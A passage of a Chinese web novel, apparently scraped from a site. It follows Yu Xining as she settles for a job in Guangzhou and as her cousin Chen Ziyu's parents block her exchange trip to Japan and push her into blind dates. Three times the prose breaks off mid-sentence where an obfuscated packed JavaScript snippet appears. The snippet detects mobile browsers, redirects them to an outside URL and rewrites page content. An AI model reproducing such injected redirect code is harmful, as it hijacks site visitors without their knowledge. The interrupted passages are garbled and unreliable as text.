余姗和王君一样,结婚后就是专职家庭主妇,性格温柔,人长得漂亮,情商也高。和女儿陈时宜的关系更是处得像朋友一样亲密,让人艳羡。 余希柠上大学前就经常说陈慧柔,如果可以学着跟小舅妈一样就好了,什么话题都聊得来,永远不会发脾气。 “他说时宜这个暑假要回来,准备去广州实习,到时候,表兄弟姐妹都在广州。” 陈时宜是在美国上的大学,假期很少回来,基本都是跟同学去旅游。难得这次要去广州实习,陈慧柔听了也觉得新鲜。 陈敬涛端起茶壶添茶:“希柠要是去广州,人就齐了。” “我回去跟她说说看,本来留在广州就不错,非要折腾去北京,也不知道北京到底有谁在,这么吸引她。” 眼看时间差不多了,陈慧柔还要回家做饭,离开前不忘提醒陈敬涛:“大佬别忘了跟梓钰说一声,让她当姐姐的劝劝。” 陈敬涛:“好。” 天气预报发布今年第六号台风将于三日后下午在南部沿海海面生成,傍晚的天空宛若一盘被打翻的珐琅彩颜料盘,铁锈红与黄丹橘在云隙间肆意晕染。云絮边缘折射出玫瑰金的裂纹,好看得让人忍不住驻足拍照。 余希柠趴在阳台上一边欣赏一边吸着果冻,巧的是,果冻也是橘子味的。 陈慧柔的车停在楼下,她摘下头盔,一手拿着,一手拎着好几个袋子。余希柠见状,咬着果冻吸嘴,把门打开,拖鞋都没换就下楼想着帮忙拿。 “不用,你穿着拖鞋快回去,别弄脏鞋底。” 陈慧柔躲开余希柠,三两步上台阶。 余希柠心里嘀咕:“脏都脏了,也不让帮忙拿。” 进屋后,陈慧柔见钢琴椅被挪动过,表情有瞬间变化:“下午练琴了?” “嗯,闲来无事弹了弹,不过谱子都忘得差不多了。” 余希柠跟在陈慧柔屁股后面进厨房,靠着窗户看着陈慧柔衣服都没换就忙碌着淘米做饭。 “妈,我不去北京了。” 陈慧柔弯腰的动作一顿,缓缓回过头来,表情里一闪而过的喜悦,似乎觉得太明显而收敛,认真道:“想清楚了?” “嗯,我后天就去广州,打算先住在姐那里,方便随时去面试。” 这么短的时间,只能是余希柠自己想通了,不可能是陈梓钰打电话来劝,陈敬涛在这方面的行动力没那么快。 陈慧柔暗自松了口气,点头道:“好,好,好。” 吵架时你一言我一句,一堆车轱辘话可以来回说一整夜,打定主意选择顺从,却只需要这么简单两句,余希柠抿了抿唇角,装作若无其事地拍了拍衣摆。 “那我去跟姐打个电话说一声,暂时在她那借住一段时间。” “去吧。” 这晚,陈慧柔心情好,多做了两道菜,都是余希柠爱吃的。余序洲下班回来看着四菜一汤,满脑子问号—— “过节了?” 陈慧柔笑呵呵:“比过节还开心,你女儿想清楚了,后天就去广州找工作!” 2018年的夏天,余希柠做了回乖乖女,收起张扬肆意的性子,顺从父母的心意去了广州。北漂成了她心底一个未圆的梦,坐在高铁靠窗的位置看着一段段路过的风景,她说服自己去接受这样的安排。 或许,那也是座可以热烈自由活着的城市。 陈梓钰工作后就在学校附近租了个一室一厅的房子,一个月房租要两千二,余希柠搬过来短住,原本说分摊费用,但陈梓钰不让,毕竟余希柠还没有找到工作。 姐妹俩商量到最后,由余希柠来负责每个月的物业费和水电。 一个月后,余希柠顺利拿到一份外企offer,薪资待遇还不错,算在广州正式落脚。当晚陈梓钰决定给她好好庆祝,叫上了在白云区的陈梓航,姐弟三人选了家川菜馆,用辣椒寓意接下来的日子——火,火,火! “陈梓航,你最近在忙什么啊,学校都放假了你也不回家,不会真是在实习吧?” 陈梓航今年大三,还有一年就要毕业了,前两个月忽然跟家里说暑假不回去,要在广州找工作。期间也没有跟陈梓钰联系,连生活费都不用给,像真赚到了钱一样。 “和几个兄弟在做淘宝,忙到晕。” 余希柠啊了声,怎么突然做起生意来了:“你不是读计算机的吗?实习不找相应的工作,去做淘宝?卖什么啊?” “汽车配件。” 余希柠:“……” 陈梓钰:“……” 俩姐妹对视了一眼,显然对这情况都不了解,也不赖她们不关心陈梓航,是这事儿本来就是他瞒着干的。 “我就是搭把手,没出钱,想着做成了再跟你们说。” 陈梓钰拧眉:“还有一年就毕业了,你应该积累点相关实习经验才是,卖汽车配件这种,不念大学也能干吧?你这事儿要让爸妈知道,一定气得跳脚。” “你别说不就行了嘛。”陈梓航吃饱,靠着椅背一脸懒散:“你知道这玩意儿多赚钱吗?阿浪这个月赚了这个数。” 陈梓航抬手比画了个数字,余希柠惊得瞪圆了眼:“这么多?阿浪是谁?社会人?” “我高中同学,在佛山上大学。” 陈梓钰:“所以给你分钱了?你这个月都不用我给生活费,住哪?” “和他们住一块,分了些,但又投进去当入股了。” 陈梓航其实跟着干了好几个月了,没跟陈梓钰说而已,路数也摸得差不多,想着再和兄弟几个干一两年,差不多毕业的时候就能自己出来单干。 “这种当副业玩玩可以,当主业不行,也没有五险一金。你这最后一年还是得好好把握,争取找份正儿八经的工作。” 陈梓钰摆出长姐姿态劝说陈梓航,余希柠反倒没说什么,亲姐在的场合,表姐安静听着就行。 陈梓航一副听厌了的样子,表情漫不经心:“哎呀我自己会打算,你管好你的事就行,妈总给我打电话诉苦,说你不让她省心。” 这话余希柠还是头一回听,她看了陈梓钰一眼,怀疑道:“不可能吧?你妈会给你打电话说姐的坏话?我不信。” 陈梓钰垂眸苦笑:“估计是真的,我最近总拒绝她给我介绍的对象。” 原来是相亲的事,那的确有可能。 住一起这段时间里,陈梓钰每天早出晚归,晚上还得接家长电话沟通学生情况。期末考结束就是改卷子,开班会,也是上周才彻底放假。 她从没和余希柠说起过家里催相亲的事,余希柠还以为是陈梓钰从天津回来后,懂得拒绝大人了。 “学校有个出国交流的机会,我想申请。” 陈梓钰不急着回去就是在准备申请的材料。 余希柠一听这消息,放下筷子,抽过纸巾擦了擦唇角:“去哪交流啊?去多久?” “日本,去一年。” “啊哈?”陈梓航听了都觉得神奇:“你教语文的,去日本交流?” 陈梓钰解释道:“他们那有外国语学校,还有专门的孔子学院。这是去年才设的项目,有三个地方可以选,马来西亚、日本和泰国。每个地方只有两个名额,我想申请日本的。” “可以啊,我支持你。” 余希柠果断鼓励陈梓钰,她出去过,深知国内外教育环境的不同,深知拓宽眼界的重要性,更何况是公费机会,不得抓住申请。 陈梓钰对着余希柠眨了眨眼,就知道她会支持自己的决定。 自从在天津那晚谈话后,这一年陈梓钰把所有注意力都专注在自己身上,评职称、游泳健身、去旅游,包括这次的交流申请。 她全都依着自己的心意来,主动拒绝了家里安排的相亲,有时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余希柠:“梓航快毕业了,现在自己也能赚钱,或许在大舅大妗看来,你也尽完该尽的责任,可以做自己想做的事情了。” “就怕他们不这么想。” 陈梓钰望着天上的弦月,难得今夜还能看见星星,也就是这段时间在整理资料做申请时,她才久违感受到,做一件自己喜欢做的事情,原来可以有那么大的行动力和干劲。 “我总觉得你还是小姑娘,没有三十岁的感觉,好不容易才和小时候一样腻在一起,如果你相亲结婚了,我又是孤家寡人了。” 余希柠挽紧陈梓钰的手,腻腻歪歪:“不过如果你遇到合适的,我也会很开心,总之那个人得很好很好,才配得上你。” “说不定你比我更快谈恋爱呢。” “我?八字还没一撇呢。”余希柠仰着下巴,大声道:“我的眼光,高得很!” “哦?说来听听。” “首先呢,他要有一米八以上……” 余希柠掰着手指头一条条说着自己的择偶标准,两人嬉嬉闹闹往回走。路灯将姐妹俩的身影拉得很长,又摇晃着缝合在一起,亲密无间。 这年夏季学期结束,陈慧柔正式告别心爱的三尺讲台,即日起,正式退休。 时间如白驹过隙,仿佛昨日才接到母亲关于顶职上岗的消息,和黄沐卿骑车去师范脱产培训,今天就要合上那盒粉笔,伴随着下课铃响,将一切封于昨日。 学校给退休老师每人送了一份慰问礼,是一个皮质封面笔记本和一根钢笔,上面印有烫金字——春晖遍泽桃李树,硕果满挂琼瑶枝饶平师范附属小学赠 陈慧柔是在2010年调到附属小学的,一开始一直在教毕业班,也是近几年身体精神劲各方面跟不上了,才申请教低年级。 之前总盼着早点退休,等到真正退了那一天,又开始变得不舍。余希柠特地从网上订了一束花送到家,也是后来听余序洲说才知道,陈慧柔一整天的眼眶都是红的。 退休后的生活好像一下子变得很慢,每天空出了大把时间不知道做什么好,平日里需要争分夺秒做的家务,如今就算精细着来,感觉也一下就做完了。 余序洲去上班,家里就剩下陈慧柔一个人,除去看望陈镇东的时间,基本都是在家待着。 余希柠每天都能收到陈慧柔发来的各种推文消息—— 《这八句话必须由妈妈告诉孩子》 《如果你也有个女儿,这六件事越早告诉她约好》 《选择大于努力》 《是谁在毒害现在的年轻人》 …… 给陈慧柔申请微信,鼓励她学习现代信息生活的人是余希柠,后悔教她添加公众号,多多浏览文章了解外界信息的,也是余希柠。 对于陈慧柔第一次主动分享公众号文章,余希柠是回复了一个点赞的表情并以资鼓励。 等到每天收到十几条时,她有点扛不住了。 “妈,你好歹也是语文老师,能不能稍微辨别一下文章内容,还有,你自己看就可以了,不用给我发。” 余希柠正在吃饭,手机连震了两下,她甚至不用点开都知道发了什么内容,随手就回了段语音。 下一秒对面坐着的陈梓钰也抬起脸:“是大姑吗?给你发公众号文章了?” “对啊,天天发。” 陈梓钰忍着笑,拿出手机点开和陈慧柔的聊天框:“好巧,她也给我发。” 余希柠垮下脸:“不是吧?骚扰我一个人就够了,居然还给你发。” “一开始我还回复她的,后来发现实在不知道该怎么回复好。”陈梓钰态度倒是很平和:“正常,我爸也会给我发这些,我一样没回。” 余希柠:“算了,她开心就好。” 41. 入职 通过校招进入外企后,余希柠从mkt管培生做起,按照公司“青藤计划”培训规定,新人需要轮岗一段时间再进行定向培养。 带她的领导是位已婚男士,叫Mark,姓林,就叫他林马克吧。面试时知道余希柠是潮汕人,还问了句—— “你爸妈会要求你工作一段时间后回潮州发展吗?” 余希柠觉得有些莫名其妙,但还是礼貌回答:“不会,来广州找工作也是他们支持的。” “那你会很快就结婚吗?” “我单身。” 林马克点点头,没再提问。 虽说面试时这两个问题给余希柠留下了不太好的印象,但入职后接触下来,她觉得这组长人还不错,风趣幽默又有耐心,还会护短。 “嗨希柠,天气预报说傍晚要下暴雨,如果手头工作做完了就抓紧下班,准时回家免得淋雨。” 林马克背着包准备离开,走之前温馨提醒。 余希柠莞尔:“好的Mark。” 看了眼屏幕右上角时间,确实可以下班打卡,不过她还有份文案没改完,等写完已经是半小时后,写字楼外电闪雷鸣,大雨打湿一整面玻璃幕墙,根本看不清窗外的情况。 余希柠摘下耳机,活干得太投入,都不知道这雨是什么时候开始下的。好在写字楼负一层就是地铁,不用湿鞋。 放假的陈梓钰负责张罗晚餐,往常六点多就会发信息来问余希柠,晚饭想吃什么,到家了就能吃上热腾腾的饭菜。 今天都七点多了,陈梓钰一条信息都没,余希柠觉得有些反常,上了地铁就给她发信息。 “我今天加班了,刚上地铁,还有二十分钟才到。” “你是不是在忙啊?要没做饭的话,我们点外卖?” “吃披萨怎么样?还是麦当劳?” 连发了三条消息,对话框顶部连显示“对方正在输入中”都没有,余希柠蹙了蹙眉,隐约觉得不太对劲。 她翻了翻列表里其他未读消息,陈慧柔问了句下班没,其他家里人都没有找她,包括陈梓航。 地铁三号线拥挤得人贴人,看手机都格外费劲,到最后余希柠根本动弹不了,只得就这么贴着门边坚持到站,门一打开,她刚抬脚就已经被人挤了出去。 广州三号线,全自动上下车厢。 余希柠给陈梓钰拨了语音电话,响了好久对方才接,声音听上去恹恹的,恰逢出站时下着雨,雨声、人声、车流声嘈杂,余希柠费劲才听清—— “我手机刚在充电,没看到你的信息。” “啊,你没回我我还以为怎么了,我到站了准备走回去,要买什么吃的吗?” 陈梓钰:“不用了,回来再说吧。” “也行,我就是看你不回信息,担心。” “嗯,回来说。” 陈梓钰声音听上去那么乏力,铁定是发生了什么,余希柠片刻不敢耽误,打开伞提着裤腿往站外走,雨势不小,帆布鞋一下就湿了。 到家开门,屋子里一片漆黑,余希柠收起伞在外面抖了两下才搁在阳台墙角。 “怎么不开灯?” 抬手摸索到灯控,啪一下打开,躺在沙发上的人动了动,坐起身来。 见她这个点在睡觉,余希柠换鞋的动作都停下了:“生病了?哪里不舒服?” 陈梓钰捋了下头发,面露疲倦:“没什么,我解冻了昨天包的糯米卷,你煎一煎当晚饭吃?” 见余希柠的伞不停滴水,陈梓钰看向窗外,喃喃道:“雨还在下?” 这状态明显不对,余希柠换掉湿了的鞋子,把手洗干净进屋,用手背探了下陈梓钰额头:“没在发烧啊,来例假了?” 陈梓钰:“不是,你帮我拿颗布洛芬吧,我头疼得厉害。” “药放哪,你抽屉里?” 余希柠边问边拉开柜子翻找,下一秒陈梓钰似乎想起什么,慌不择路地从沙发另一侧翻过去试图拦住。 但已经来不及。 余希柠看到了一包已经拆开过的香烟和一个打火机。 “你……从什么时候开始抽的?” 她根本没见过陈梓钰抽烟,搬过来住后,余希柠用的是房间里的小书桌,姐妹俩东西分开放。 “从天津回来后。” 陈梓钰没瞒着,顺手拿过烟盒,用打火机在盒沿轻轻一敲,一根烟抖落出来,修长的手指夹住烟,反手就要点燃。 动作熟悉得像是老烟民。 “不是头痛?” 余希柠拦住她,抢过烟跟烟盒,塞好后放回柜子里:“跟大舅大妗吵架了?申请的事他们不让?” 都没给陈梓钰说的机会,余希柠自己就开始猜。 “什么事都瞒不了你。”陈梓钰抬起手背掩饰疲倦的面容,喘了口气道:“他们根本没给我争取的机会,直接说不行,我妈还气哭了。” “气哭了?” 余希柠确实有点难想象那个画面,她挽了挽被雨水弄湿的裤腿,席地而坐靠着沙发。 “高中毕业那会,我觉得我自己翅膀张开了,终于能把自由牢牢掌握在自己手里,可以任凭意愿做主。我试着飞了一段时间,舒服得让我有些忘乎所以,觉得这辈子就能这样随心所欲。但直到前段时间我才发现,我不是冲向高空的雏鹰,而是父母手里那像雏鹰的风筝。” 余希柠侧过脸看陈梓钰,坦然道:“他们手里还是有根风筝线,可以随时随地把我们扯回来,除非我们狠心剪掉,否则风筝就是风筝,不是越飞越远,就是被卷线收回攥在手里。” “我甚至试过先斩后奏,说领导已经审批通过,暑假结束回来就直接去日本。你猜他们怎么说?” 陈梓钰手搭在膝盖上,下巴搁在臂弯,歪着头看余希柠。 “他们要给你领导打电话?” “你怎么知道?” 陈梓钰露出惊讶地表情,余希柠不在意地笑笑:“因为这就是他们的思路,简单粗暴不符合职场逻辑。” 就拿她入职这几天来说吧,尽管只是加了会班,但陈慧柔还是无法理解,觉得就应该到点就下班,不然回到家都快八点了。陈慧柔甚至认为中途会有个晚饭时间点,例如上到六点,可以自行去吃饭,否则等回到家,太晚了。 余希柠只得不厌其烦地解释,在大城市工作就是这样,哪能像在家里那般滋润。 陈慧柔根本听不进去,还问,能不能跟领导说一声,准时下班? 余希柠无奈苦笑。 “我妈问我这段时间拒绝相亲,是不是就想着申请的事。还要挟我,说不能不顾家里的情况,不能不顾陈梓航。” 陈梓钰头疼得厉害,双手抱紧自己倒在沙发上,蜷缩成一个自认为很安全但其实也是在防御的姿势。 “希柠,我可能没我想象中的那么勇敢果决,我动摇了。” 父母关系,就像这件被雨淋湿的外套,穿上又沉又冷,脱下来也是又沉又冷,压着原本就不坚定且容易心软的自己。 余希柠不知道该怎么劝陈梓钰,也没立场劝,毕竟她才刚当了妥协者。 周四,陈梓钰按原计划回家,怕发生“世界大战”,陈梓航也买了票回去,微信上和余希柠反复保证,一定会护陈梓钰周全。 出租屋里只剩余希柠一人,陈梓钰不在,她就是再早回家也是一个人,索性在公司加班,等过了三号线高峰期才走。 周末,余希柠睡到自然醒,见屋外日头正盛,就把被子床单都塞进洗衣机里洗。拿着手机坐在沙发上看外卖,□□弹出来提示消息——好友生日,去送上祝福。 她指尖一划,本意是不显示该信息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116707|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果误点了进去,直接就给这位“好友”送出了一个缤纷蛋糕。 余希柠一看对方名字,吓了一跳。 林屿沉。 有段时间没有和他联系了,上次聊天还停留在她和父母因为要去北京找工作吵架那次。哦对,林屿沉不知道她是谁。 当初余希柠用新申请的号加好友,忘了备注真实姓名,通过之后林屿沉也没有主动问过,两人一开始只是说说点赞之交。 后来有一晚,余希柠因为心情不好,在□□上点兵点将专抓在线的人聊天,林屿沉就是那个幸运儿。 凌晨一点半,就他的头像是亮着的。 余希柠没头没脑地发过去一个困惑她自己的问题,没过多久对方就回复了,回得还很认真,两人就这么聊起来。 之后余希柠翻到这个聊天记录还觉得不可思议,若是她大半夜收到这样的信息,准是内心先骂几句,再装表面好人,回过去一个问号,亲是不是发错人了? 她和林屿沉的关系就像是网友,在那次后,一有什么解决不了的烦心事,头一个想到要找聊天发泄的人,就是林屿沉。 余希柠始终坚定,林屿沉不知道她是谁。 林屿沉:“谢谢。” 关于收到缤纷蛋糕后的回复,打断了余希柠的回想,她原本因为紧张的肩膀放松下来。 余希柠:“□□弹出来的提示,你今天生日?” 林屿沉:“嗯。” 余希柠:“生日快乐,打算怎么庆祝?” 林屿沉:“没什么打算。” 这么平淡?余希柠拧了拧眉,换了个姿势躺在沙发上,想象着林屿沉一个人过生日的样子,顿时觉得画面很可怜。 余希柠:“你朋友呢?” 林屿沉:“你平时都怎么过生日的?” 两人同时发送新消息,余希柠盯着聊天页面,嘴唇微微抿紧,脑海里已然浮现之前过生日的场景。 余希柠:“今年的生日是跟大学舍友一块过的,正好是毕业季,就一起吃了顿饭,唱K,拍了一大堆照片。” 她都发在朋友圈了,也不知道林屿沉有没有看到。 说起来,她至今都不确定躺在她好友列表里的林屿沉是不是本人,从不更新朋友圈,也没有聊过天。 当初加微信是从通讯录里直接添加的,互相都知道是对方,通过后就跟增加列表人气一样,根本没聊过。 林屿沉:“朋友周末有安排。” 林屿沉:“我从小就没有过生日的习惯。” 林屿沉连回了两条信息,隔着屏幕都能感觉一种落寞感,余希柠绞尽脑汁也想不出该说什么。 主要是不想暴露身份,问地址偷偷送蛋糕这些都不现实。 林屿沉:“还去北京工作吗?” 手机震了下,又有新消息。余希柠这才想起自己决定回广州找工作且已经入职的事都还没跟他说过。 余希柠:“起义失败,发配广州,已入职。” 林屿沉:“……” 林屿沉:“也好。” 兴许是“也好”这两个字无法引起共鸣,余希柠聊天的欲望戛然而止,对方也没有再发消息,手机屏幕变暗。 洗衣机发出滴答滴提示音,被子床单洗好了,余希柠停止思考与林屿沉有关的问题,起身拿过篮筐,装满后拿上天台晾晒。 今天的气温足足有三十五度,晾完被子,余希柠满头大汗,不敢在楼顶多待片刻。 进屋时沙发上的手机正噔噔噔直响,以为又是林屿沉发来的消息,结果点开来是陈梓航,汇报最新情况—— 日本不去了,四姨介绍了个对象,姐答应接触看看。 余希柠回了串省略号表示无话可说,把手机丢到一旁,感觉一股吁气堵在胸口,上不来下不去的,憋得心慌。 42. 合租 八月底,陈梓钰回广州,状态看上去不错,用陈梓航的话来说,就是有了爱情的滋润,容光焕发。 和离开广州时的状态相比,天上地下,这中间不过就一个月的时间。 余希柠没谈过恋爱都觉得这速度太快了,更何况他们只是在网聊阶段,还没见过面。 关于陈梓钰的相亲对象,她大致听说过对方的情况,985研究生毕业,有房有车,在证券公司上班,身高和陈梓钰差不多,样貌普通,属于混在人群里也毫不起眼的那种。 因为陈梓钰放暑假回家,两人现阶段只是网上聊天,陈梓钰这次提前回,也是为了跟男方约会。 起初还邀请余希柠三人行,一块去看电影,被果断拒绝了:“我可不想去当电灯泡。” 事实上余希柠也早就有约,之前拍的宣传片效果不错,许于薇一直说要请她吃饭,最近才凑上时间。 “工作怎么样?忙不忙?要加班吗?” 许于薇化了个妆来的,模样精致得余希柠都移不开目光:“早说你要盛装打扮,这样显得我很随便。” 她一件T恤搭配牛仔裤和小白鞋,画了个眉毛就出门了,连口红都没涂。以为是见老朋友,用不着像上班一样精心打扮,随性舒服即可,谁知道许于薇这么隆重。 “我们情况不一样嘛,你工作日是白领精英,需要妆容加持,我只有周末才有发挥的空间,平日里需要低调朴素。” 许于薇搅拌眼前的冰茶,感慨道:“上次的事真要好好感谢你,我爸说剧团的档期都排到元宵了。” “啊?夸张了吧,这才八月底。” “是真的。”许于薇知道余希柠不太关注戏曲文化这块的新闻,说:“饶平今年开展了不少文化活动,还组织潮剧团送戏下乡,为的就是推动艺术创作和发展,振兴地方戏剧。” “啊这样吗,能帮上忙我还挺开心的,毕竟之前没有单独做过拍摄。” “你以后可以多试试,保不齐还能发展成副业也说不定。” 侍应生过来上菜,许于薇挪了挪面前的餐具:“对了,你还没回答我,工作忙不忙啊?” “我的学历背景和能力在管培生里算垫底的,不忙也得积极提升业务能力,我现在总算明白大人那句话了,学生时代才是最轻松的。” 步入社会,有社会人的节奏和游戏规则,从前总觉得电视或小说太过夸大其词,但真入了这行才知道,小说里的都只是些皮毛。 “读书的时候觉得学习太苦了,考试太烦了,现在我倒真愿意回过头去读书。” 一想起公司里的那些事,余希柠整张脸都耷拉下来,然而没办法,这条路是她自己选的,咬牙都得走下去。 许于薇笑了:“十个朋友,有九个刚入行都这么说,赚钱嘛,哪有轻松就到手的。” “嗯,还是得有个适应过程。你呢,之前见你朋友圈晒了六一礼物,谈恋爱了?” 余希柠原本想在微信上直接问,后来被找工作的事一耽搁就过了时机,今天坐下来,她注意到了许于薇中指上戴了枚戒指,看上去也不像是装饰品。 许于薇展露笑颜:“被你发现啦,谈了有小半年了。” “谈半年了都不说?藏着怕被人抢走吗?”余希柠想起之前宋乔说的,怕提林烜的名字太直接,就问:“是我认识的人吗?” 许于薇咬了口披萨,摇摇头,唇角沾了点酱,她拿起餐巾纸优雅地擦拭。换做是余希柠,都得等吃完了才擦,压根不会这么注重细节。 “是我领导介绍的,比我大五岁,是做珠宝生意的,自创的品牌。” 余希柠一听大五岁,眼睛都瞪圆了。 许于薇却似乎习惯了这样的反应,很自如地开口:“人挺好的,成熟稳重又有一定的社会阅历,对我也好。” “我以为你会谈和我们年龄相仿的,没想到差这么多。” 原本到嘴边的话堪堪收回,余希柠笨拙地做着表情管理。 “我也想谈年龄相仿的,可是他不喜欢我呀。” 许于薇放下手里的刀叉,身子往前,卷翘的眼睫毛一眨一眨,眼神里是试探也是认真:“你知道,我之前暗恋林烜吗?” “咳咳——” 余希柠一口意面差点呛到,慌乱拿过餐巾纸捂住口鼻,抬眼时对上许于薇的视线。 对方努了努嘴唇,收回前倾的动作,靠回椅背,表情里满是笃定和松弛:“你果然知道。” 余希柠有点不好意思:“一开始真不知道。” 许于薇笑着垂眸:“也没什么,暗恋嘛,很多人年轻时的必修课,有结果的人是幸运的,没有结果的才是大多数。” 余希柠接话:“嗯,反正都过去了,你也有了新的感情。林烜跑那么远,做事惯不着调的,还好没耽误你。” 许于薇尝了口甜品,掀眼看向余希柠,嘴角噙着一丝若有似无的笑:“嗨,你就不好奇,他怎么拒绝我的?” 余希柠啊了一声:“你跟他表白了?” “当然,不然怎么会死心呢。”许于薇扬高了下巴,甜品勺对着余希柠点了点,又像是想到什么,适时闭上嘴。 余希柠:“什么意思?所以他怎么拒绝你的?” “就说不喜欢我,希望不会影响朋友关系。”想起某些人的叮嘱,许于薇终是讲义气地把话咽了回去:“别光说我的事了,你什么情况?就没遇到让你心动的人?” “没有。” 她的感情发展就像如今的生活,寡淡无味。 “外企里就没有一个合你眼缘的?” “怎么跟我妈说了一样的话?” 余希柠入职第三天,陈慧柔就来打听公司里有没有条件不错的适龄男生。 拜托,她是去工作的,不是去找对象的,注意力都集中在领导布置的任务里,怎么可能去关心谁谁谁是不是单身。 “本来就是嘛,上学的时候没谈到,那就在工作时找机会,有觉得眼缘不错的就聊聊,当拓展人脉也行啊。” 余希柠卷了口意面塞进嘴里,边嚼边含糊道:“我还是喜欢,愿者上钩那一套。” “什么意思?” “天降爱我的人。” 许于薇骂人的话都到嘴边了,眼前浮现起某个人的身影,旋即点头:“也有可能,你等个一两年看看。” 余希柠笑笑。 “对了,你在广州住哪啊?自己租房子吗?” “暂时跟我姐住在一起,后面再找时间看房。” 一开始就说好只是借住,到现在余希柠都还只是付水电跟物业,陈梓钰这儿只有一个卧室,姐妹俩挤一块多少受影响,再说了她现在谈恋爱,万一想带男朋友回家,余希柠就是电灯泡。 “租离上班近一点的小区,别选城中村的房子,最好离地铁口近的,贵点就贵点,女孩子安全最重要。” 许于薇给出了过来人的经验:“要看到合适的也可以发给我,帮你参谋参谋,毕竟比你多待了几年,也不是白混的。” “好呀。” 吃完饭,两人又看了场电影才分开,余希柠回到家就看到陈梓钰在吹头发。 “不是约会?怎么这么早回来,连澡都洗完了。” 甚至比她还早,余希柠放下包包随口问了句。 陈梓钰平淡道:“觉得没什么意思就回来了。” “没什么意思?” 余希柠扭头看向陈梓钰,这反应可跟之前差太多了,难不成见面后就祛魅了? 陈梓钰收起吹风筒,一边捋着电线一边跟余希柠描述今日约会的情况。 张城,就是陈梓钰的相亲对象,刚从北京出差回来,什么伴手礼都没有带,见面两手空空,连买束花都不会。两人一块吃饭,陈梓钰说了想吃日料,他说吃鱼生细菌多,转头带她去吃烤肉,出来时,浑身上下连头发丝都是味道。 还有就是烤肉的套餐,选的是最便宜的一款,连问陈梓钰要不要加什么吃的都没有,直接下单。 余希柠听完,吓得不轻:“就这你也能跟他热聊一个暑假并且迅速确定男女朋友关系?陈梓钰你不会是立陷爱吧?” 陈梓钰:“立陷爱?” 余希柠解释:“立马陷入爱情。” 陈梓钰表情疲惫:“你是不知道,介绍人把他说得有多好,连我爸都觉得错过就是一大遗憾。” “男人有什么好遗憾的……” 余希柠不由得感慨了一句。 “所以可能就像你说的,我带了滤镜和他聊天接触,包括一开始见面也是,渐渐地,我会不自觉地对他提一些要求,希望他能给到我积极的反馈,但都没有。” 今天提前结束了行程,回到家那一瞬间,陈梓钰是真的松了口气。 “那就说明不合适,不用强迫自己浪费时间了。” 余希柠直接下结论。 陈梓钰:“嗯呐,等我想好要怎么跟家里解释再说吧。” 睡前,余希柠给陈慧柔发消息,说了想自己出去租房的事,陈慧柔回得很快,问是不是陈梓钰赶她走。 余希柠吓得赶紧解释,下一秒陈慧柔直接一个电话打过来。 “妈……你等会。” 余希柠掀开被子下床,跑出去客厅接电话,陈梓钰没理她,顾自看电视剧。 “怎么突然想起要租房?” “那我总不能一直在姐这住吧?她是一室一厅,我俩挤一张一米三的床确实有点不方便。” “这话题我和你大舅商量过了,我俩意思一致,就是你先跟梓钰住一段时间,等梓航毕业了,你们再出去合租。这样我们做家长的也放心。” 听陈慧柔的语气,就像她说的,是已经商量过且都认可的情况,关键是,余希柠才是当事人啊,怎么什么都不知道。 “等陈梓航毕业,那不还有大半年时间?再说了,他跟他那些哥们那么好,怎么可能跟我们合租。” 余希柠这角度,正好能看见落地穿衣镜里映着的表情,不可思议又略显好笑。 “你跟大舅商量了,怎么都不跟我说?” 她都这么大了,还事事没有主动权,就连租房这种事,陈慧柔也要插手。 “我以为你跟梓钰住一起习惯了,没想搬出去。也是暑假,梓钰回来,我去你大舅家时和她说等你拿到工资就付房租。你大舅才提出这个建议,和梓航合租,是他的意思,一是有个男孩在,比你女孩子单独住要安全,二是互相关照,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122130|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做父母的也放心。” 陈慧柔觉得陈敬涛的话,说到她心坎上了,这些年让余希柠和陈梓钰姐弟俩混一起,就是想着以后手足间能互相照顾。 独生女不容易,一个人在外,父母总归是要牵肠挂肚的。 “陈梓航真的同意?” “当然,他当时也在,说了可以。”陈慧柔知道余希柠在犹豫什么,“放心,不是妈主动要求的,是你大舅的意思。” 挂断电话,余希柠一个人在沙发上坐了好一会才回房,彼时陈梓钰已经关灯睡了,她轻手轻脚地爬上床,掀开被子躺下。 “大姑的电话?” “嗯,我以为你睡着了。” 陈梓钰没回过身,懒懒道:“等明年五一,我们再一起看房吧。在这之前就先跟我挤一挤,有你在,我过得还挺开心的。” 余希柠有些感动:“……好。” 2019年毕业季,余希柠和陈梓钰请假去参加陈梓航的毕业典礼,到了学校才知道,陈梓航小半学期没去上课,期末考试成绩没达到要求,学位英语考试也没通过,因此拿不了学位证。 陈梓钰一脸震惊,本以为陈梓航跟朋友一块做生意是利用假期时间,没想到还耽误了学业。 “难怪你不跟我们说毕业典礼的时间,害我和希柠还想着给你一个惊喜,到头来,是你给了我们俩惊吓。” 陈梓航怀里还抱着花束,一脸无所谓的样子:“哎我又不考公,也不考研,有没有学位证不重要。” 今天来的朋友还不少,男生都是要面子的,余希柠拉了拉陈梓钰的手劝道:“等回家再说。” 陈梓钰板着张脸面无表情,拿出手机来给在高校当辅导员的朋友发消息,询问这样的情况有没有补救方式,哪怕延毕,再考试也行啊。 陈梓航就是太过想当然,不知道这张学士学位证的含金量,总不能任由他这么胡闹。 